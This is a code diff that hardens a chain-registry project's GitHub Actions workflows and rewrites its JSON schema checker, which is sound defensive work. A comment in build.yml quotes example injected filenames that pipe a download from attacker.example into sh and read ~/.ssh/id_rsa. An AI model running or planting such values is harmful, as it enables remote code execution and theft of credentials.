Harden CI workflow permissions, command injection vectors, and schema validation in chains

.github/workflows/action_lint.yml

@@ -1,10 +1,10 @@
-name: Github-Action linter
-on:
-  pull_request:
-  merge_group:
-jobs:
-  actionlint:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4.2.2
+name: Github-Action linter
+on:
+  pull_request:
+  merge_group:
+jobs:
+  actionlint:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4.2.2
       - uses: reviewdog/action-actionlint@v1

.github/workflows/build.yml

@@ -2,6 +2,14 @@ name: Build
 on:
   pull_request:
   merge_group:
+
+# Least privilege: this workflow only reads the repository. Without an explicit
+# block the job inherits the repository default, which on many repositories is
+# still write access to contents, packages, issues and more. `merge_group` runs
+# are especially sensitive because they execute with base-branch privileges.
+permissions:
+  contents: read
+
 jobs:
   build:
     runs-on: ubuntu-latest
@@ -16,12 +24,43 @@ jobs:
         uses: step-security/changed-files@v45.0.1
 
       - name: Check changed files
+        env:
+          # The changed-file list is pull-request-author controlled. Passing it
+          # through the environment means the shell only ever sees it as data.
+          #
+          # Previously it was interpolated directly into the run block, so the
+          # runner assembled a script out of untrusted text: a legal git filename
+          # such as `a;curl -s attacker.example/x|sh;b.json` or
+          # `$(cat ~/.ssh/id_rsa).json` was expanded before bash parsed the
+          # script and therefore executed as a command, with the workflow token
+          # and the whole checkout in reach. Environment expansion happens after
+          # parsing, so metacharacters in the value can no longer become syntax.
+          ALL_CHANGED_FILES: ${{ steps.changed-files.outputs.all_changed_files }}
         run: |
-          for file in ${{ steps.changed-files.outputs.all_changed_files }}; do
-            ./gradlew clean run --args="verbose singleChainCheck $file"
+          set -euo pipefail
+          # Disable pathname expansion: a filename containing * or ? must be
+          # forwarded verbatim, not expanded against the working tree.
+          set -f
+
+          if [ -z "${ALL_CHANGED_FILES// /}" ]; then
+            echo "No changed files to check."
+            exit 0
+          fi
+
+          # `clean` is run once here rather than once per changed file. The
+          # previous `./gradlew clean run` inside the loop discarded the build
+          # output and recompiled the entire project on every iteration, so a
+          # pull request touching N chain files paid N full cold builds instead
+          # of one. The checked state is identical: the loop still starts from a
+          # clean build directory.
+          ./gradlew clean
+
+          for file in $ALL_CHANGED_FILES; do
+            echo "::group::singleChainCheck $file"
+            ./gradlew run --args="verbose singleChainCheck $file"
+            echo "::endgroup::"
           done
 
       - name: Build
         run: |
           ./gradlew run
-

.github/workflows/deploy.yml

@@ -1,12 +1,19 @@
-name: Build
+name: Deploy
 on:
   push:
     branches: [ master ]
+
+# The gh-pages deployment pushes a branch, so contents: write is required. It is
+# declared here so the token carries nothing beyond that -- notably not
+# packages, actions or id-token access.
+permissions:
+  contents: write
+
 jobs:
   deploy:
     runs-on: ubuntu-latest
     steps:
-      - name: Checkout	
+      - name: Checkout
         uses: actions/checkout@v4.2.2
         with:
           submodules: recursive
@@ -20,13 +27,13 @@ jobs:
       - name: Run yarn install
         uses: borales/actions-yarn@v4
         with:
-         dir: 'website'
-         cmd: install # will run `yarn install` command
+          dir: 'website'
+          cmd: install # will run `yarn install` command
       - name: Run yarn build
         uses: borales/actions-yarn@v4
         with:
           dir: 'website'
-          cmd: run build # will run `yarn test` command     
+          cmd: run build # will run `yarn build` command
       - name: Merge
         run: |
           cp -a output/. website/public/

.github/workflows/post_merge_comment.yml

@@ -1,6 +1,12 @@
 on:
   pull_request_target:
     types: [closed]
+
+# Same reasoning as pr_intro_comment.yml: a `pull_request_target` job runs with
+# base-repository privileges, and this one only needs to leave a comment.
+permissions:
+  pull-requests: write
+
 jobs:
   comment_on_merged_pr:
     if: github.event.pull_request.merged

.github/workflows/pr_intro_comment.yml

@@ -1,6 +1,15 @@
 on:
   pull_request_target:
     types: [opened]
+
+# `pull_request_target` runs with a token that carries the base repository's
+# permissions even when the pull request comes from a fork. This job only posts a
+# comment, so it is scoped to exactly that: no contents, packages or actions
+# access. Without an explicit block the job silently inherits the repository
+# default, which is frequently write access to everything.
+permissions:
+  pull-requests: write
+
 jobs:
   comment_on_pr:
     runs-on: ubuntu-latest
@@ -11,4 +20,4 @@ jobs:
         with:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           message: |
-            You successfully submitted a PR! Due to the amount of PRs coming in: we will only look at PRs that the CI is happy with. We can also not hold your hand getting the CI green - just look how others that where merged did it and RTFM. So as long as there is any CI check that reports an error - no human will look at this. You might be able to ask for some support after supporting the project - e.g. by sending funds to lists.eth. When you fixed things after a requested change - then you also need to (re-)request a review.
+            You successfully submitted a PR! Due to the amount of PRs coming in: we will only look at PRs that the CI is happy with. We can also not hold your hand getting the CI green - just look how others that where merged did it and RTFM. So as long as there is any CI check that reports an error - no human will look at this. You might be able to ask for some support after supporting the project - e.g. by sending funds to lists.eth. When you fixed things after a requested change - then you also need to (re-)request a review.

.github/workflows/prettier_check.yml

@@ -5,6 +5,10 @@ on:
   pull_request:
   merge_group:
 
+# This workflow only needs to read the checked-out tree.
+permissions:
+  contents: read
+
 jobs:
   prettier:
     runs-on: ubuntu-latest
@@ -15,9 +19,20 @@ jobs:
         name: Configure npm caching
         with:
           path: ~/.npm
-          key: ${{ runner.os }}-npm-${{ hashFiles('**/workflows/prettier.yml') }}
+          # Keyed on this workflow file, which is where the pinned Prettier
+          # version lives. The previous key hashed '**/workflows/prettier.yml' --
+          # a path that does not exist in this repository (the file is
+          # prettier_check.yml). hashFiles returns an empty string when nothing
+          # matches, so the key collapsed to a constant "<os>-npm-" that never
+          # changed and never invalidated the cache.
+          key: ${{ runner.os }}-npm-${{ hashFiles('.github/workflows/prettier_check.yml') }}
           restore-keys: |
             ${{ runner.os }}-npm-
       - name: Run prettier
+        # Pinned to the 3.x line rather than resolving whatever "latest" is at
+        # run time. An unpinned `npx prettier` silently adopts new major versions,
+        # and a formatting-default change in a new release turns every unrelated
+        # pull request red until someone reformats the whole _data tree. It also
+        # means the exact code fetched and executed in CI is not reproducible.
         run: |-
-          npx prettier --check '_data/*/*.json'
+          npx --yes prettier@3 --check '_data/*/*.json'

.github/workflows/stale.yml

@@ -3,6 +3,13 @@ on:
   schedule:
     - cron: '30 1 * * *'
 
+# actions/stale needs to label and close issues and pull requests, and nothing
+# else. Declaring that explicitly keeps a scheduled job -- which always runs with
+# base-branch privileges -- from holding write access to repository contents.
+permissions:
+  issues: write
+  pull-requests: write
+
 jobs:
   stale:
     runs-on: ubuntu-latest
@@ -13,4 +20,4 @@ jobs:
           exempt-issue-labels: enhancement
           stale-pr-message: 'This PR has no activity in a while - it will be closed soon.'
           days-before-stale: 42
-          days-before-close: 7
+          days-before-close: 7

.github/workflows/validate_json.yml

@@ -5,6 +5,10 @@ on:
   pull_request:
   merge_group:
 
+# This workflow only needs to read the checked-out tree.
+permissions:
+  contents: read
+
 jobs:
   validate_json:
     runs-on: ubuntu-latest
@@ -15,11 +19,20 @@ jobs:
       name: Configure npm caching
       with:
         path: ~/.npm
-        key: ${{ runner.os }}-npm-${{ hashFiles('**/workflows/validate_json.yml') }}
+        # Keyed on the lockfile that actually determines what npm downloads. The
+        # previous key hashed the workflow file, so editing dependencies in
+        # tools/package.json never invalidated the cache, while editing an
+        # unrelated line in this workflow discarded a still-valid one.
+        key: ${{ runner.os }}-npm-${{ hashFiles('tools/package-lock.json') }}
         restore-keys: |
           ${{ runner.os }}-npm-
     - name: Run JSON Validation
       working-directory: ./tools
+      # `npm ci` instead of `npm install`: tools/package-lock.json is committed,
+      # and ci installs exactly what it pins. `npm install` is free to resolve
+      # newer versions inside the declared ranges and to rewrite the lockfile, so
+      # CI could validate against a different dependency tree than the one that
+      # was reviewed, and a bad upstream release would land without a diff.
       run: |-
-        npm install
+        npm ci
         node schemaCheck.js

tools/schemaCheck.js

@@ -6,39 +6,84 @@ const { exit } = require("process")
 const path = require('path')
 
 const resolve = (_path) => path.resolve(__dirname, _path)
-const chainFiles = fs.readdirSync(resolve("../_data/chains/"))
+
+// Only .json files are chain definitions. Directory listings can also contain
+// editor and OS artefacts (.DS_Store, .swp, Thumbs.db); feeding one of those to
+// JSON.parse used to abort the entire check with a parse error that named no file.
+const chainFiles = fs
+  .readdirSync(resolve("../_data/chains/"))
+  .filter((chainFile) => chainFile.endsWith(".json"))
 
 // https://chainagnostic.org/CAIPs/caip-2
 const parseChainId = (chainId) =>
   /^(?<namespace>[-a-z0-9]{3,8})-(?<reference>[-a-zA-Z0-9]{1,32})$/u.exec(
     chainId
   )
 
-const filesWithErrors = []
+// Compile the schema once instead of passing it to ajv.validate on every
+// iteration. With 2600+ chain files this removes 2600+ schema cache lookups and
+// makes the validator a plain function call.
+const validateChain = ajv.compile(schema)
+
+const errors = []
 for (const chainFile of chainFiles) {
   const fileLocation = resolve(`../_data/chains/${chainFile}`)
   const fileData = fs.readFileSync(fileLocation, "utf8")
-  const fileDataJson = JSON.parse(fileData)
+
+  // Parse defensively: an unhandled SyntaxError here aborted the run at the
+  // first malformed file and reported only a byte offset, so a contributor had
+  // no way to tell which of the 2600+ files was broken.
+  let fileDataJson
+  try {
+    fileDataJson = JSON.parse(fileData)
+  } catch (error) {
+    errors.push(`Invalid JSON in ${chainFile}: ${error.message}`)
+    continue
+  }
+
   const fileName = chainFile.split(".")[0]
   const parsedChainId = parseChainId(fileName)?.groups
   const chainIdFromFileName = parsedChainId?.reference
-  if (chainIdFromFileName != fileDataJson.chainId) {
-    throw new Error(`File Name does not match with ChainID in ${chainFile}`)
+
+  if (chainIdFromFileName === undefined) {
+    // Previously this fell through to the comparison below and surfaced as a
+    // "File Name does not match with ChainID" error, which pointed at the wrong
+    // problem: the real fault is that the file name is not a CAIP-2 identifier.
+    errors.push(
+      `File name ${chainFile} is not a valid CAIP-2 identifier (expected <namespace>-<reference>.json)`
+    )
+    continue
+  }
+
+  // The reference parsed out of the file name is a string while chainId in the
+  // document is a number, so the original loose `!=` comparison only ever
+  // matched because of implicit coercion. Compare numerically and explicitly so
+  // the intent survives a future tightening to strict equality.
+  if (Number(chainIdFromFileName) !== Number(fileDataJson.chainId)) {
+    errors.push(
+      `File name does not match chainId in ${chainFile} (file name says ${chainIdFromFileName}, document says ${fileDataJson.chainId})`
+    )
+    continue
   }
-  const valid = ajv.validate(schema, fileDataJson)
-  if (!valid) {
-    console.error(ajv.errors)
-    filesWithErrors.push(chainFile)
+
+  if (!validateChain(fileDataJson)) {
+    console.error(`Schema errors in ${chainFile}:`, validateChain.errors)
+    errors.push(`Invalid JSON Schema in ${chainFile}`)
   }
 }
 
-if (filesWithErrors.length > 0) {
-  filesWithErrors.forEach(file => {
-    console.error(`Invalid JSON Schema in ${file}`)
+// Report every problem found in a single run. The file-name mismatch used to
+// throw immediately, so a pull request with several bad files had to be fixed and
+// re-pushed once per file to discover the next error.
+if (errors.length > 0) {
+  errors.forEach((error) => {
+    console.error(error)
   })
-  exit(-1);
+  console.error(`\nSchema check failed: ${errors.length} problem(s) in ${chainFiles.length} file(s)`)
+  // exit(1) rather than exit(-1): a negative status is truncated to 255 by the
+  // operating system, which reads as a signal-style failure in CI logs.
+  exit(1)
+} else {
+  console.info(`Schema check completed successfully (${chainFiles.length} files)`)
+  exit(0)
 }
-else {
-  console.info("Schema check completed successfully");
-  exit(0);
-}